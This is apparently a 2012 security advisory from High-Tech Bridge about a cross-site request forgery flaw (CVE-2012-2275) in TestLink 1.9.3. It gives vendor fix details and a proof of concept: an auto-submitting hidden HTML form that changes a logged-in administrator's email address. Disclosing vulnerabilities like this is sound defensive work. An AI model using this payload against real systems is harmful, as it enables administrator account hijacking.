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Ðross-Site Request Forgery (CSRF) in TestLink



Advisory ID: HTB23088
Product: TestLink
Vendor: teamst.org
Vulnerable Version(s): 1.9.3 and probably prior
Tested Version: 1.9.3
Vendor Notification: April 18, 2012 
Public Disclosure: September 5, 2012 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2012-2275
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Ðross-Site Request Forgery (CSRF) attacks.


1) Ðross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

The following PoC will change administrator's email:

<form action="http://[host]/lib/usermanagement/userInfo.php"; method="post" name="main" id="main">
<input type="hidden" name="doAction" value="editUser">
<input type="hidden" name="lastName" value="LastName">
<input type="hidden" name="firstName" value="FirstName">
<input type="hidden" name="emailAddress" value="new@xxxxxxxx">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>



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Solution:

Upgrade to TestLink 1.9.4

More Information:
http://gitorious.org/testlink-ga/testlink-code/commit/2d4ac941314f8bda80e265c9de8bacf17d1cd3e6
http://gitorious.org/testlink-ga/testlink-code/commit/c8751a3c9ad8970b49d1bf882203efacd10af087
http://gitorious.org/testlink-ga/testlink-code/commit/252788c2373e73173172ada9af661e0721599891


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References:

[1] High-Tech Bridge Advisory HTB23088 - https://www.htbridge.com/advisory/HTB23088 - Ðross-Site Request Forgery (CSRF) in TestLink.
[2] TestLink - http://www.teamst.org/ - An OpenSource test management tool which includes test specification, planning, reporting, requirements tracking and collaborate with well-known bug trackers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂ is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.